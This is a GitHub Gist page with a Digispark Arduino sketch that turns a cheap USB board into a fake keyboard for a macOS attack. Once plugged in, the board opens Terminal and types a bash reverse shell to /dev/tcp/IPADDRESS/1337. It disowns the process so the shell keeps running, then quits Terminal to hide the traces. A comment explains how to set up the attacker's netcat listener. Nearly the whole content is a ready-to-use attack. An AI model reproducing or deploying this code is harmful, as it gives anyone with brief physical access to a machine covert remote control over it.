Forked from MattOates/digispark_macOS_reverse_shell.c
Created
December 31, 2020 12:29
-
-
Save carlosrobles/5a115eb74b5a456e9e069650f83973b7 to your computer and use it in GitHub Desktop.
A macOS reverse shell HID hack for use with Digispark USB HID (https://www.aliexpress.com/item/Free-Shipping-CJMCU-Digispark-kickstarter-miniature-for-Arduino-usb-development/32510265413.html)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "DigiKeyboard.h" | |
//Command key is ord 37 and as a modifier 0x00000008 | |
//See NX_DEVICELCMDKEYMASK http://svn.red-bean.com/bob/SDL-altivec/trunk/src/video/quartz/SDL_QuartzEvents.m | |
//For a look at available keys https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h | |
#define MOD_CMD_LEFT 0x00000008 | |
boolean do_hack = true; | |
void setup() { | |
// don't need to set anything up to use DigiKeyboard | |
} | |
void loop() { | |
// this is generally not necessary but with some older systems it seems to | |
// prevent missing the first character after a delay: | |
DigiKeyboard.sendKeyStroke(0); | |
//cmd+space | |
if (do_hack) { | |
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_CMD_LEFT); | |
DigiKeyboard.delay(500); | |
DigiKeyboard.print("terminal"); | |
DigiKeyboard.delay(500); | |
DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
DigiKeyboard.delay(1000); | |
//Ahead of time you want a machine at IPADDRESS listening on port 1337 `nc -l 1337` | |
DigiKeyboard.println("nohup bash -i >& /dev/tcp/IPADDRESS/1337 0>&1 &"); | |
DigiKeyboard.delay(500); | |
DigiKeyboard.println("disown $!"); | |
DigiKeyboard.delay(500); | |
DigiKeyboard.sendKeyStroke(KEY_Q, MOD_CMD_LEFT); | |
DigiKeyboard.delay(500); | |
DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
do_hack = false; | |
} | |
// It's better to use DigiKeyboard.delay() over the regular Arduino delay() | |
// if doing keyboard stuff because it keeps talking to the computer to make | |
// sure the computer knows the keyboard is alive and connected | |
DigiKeyboard.delay(10000); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment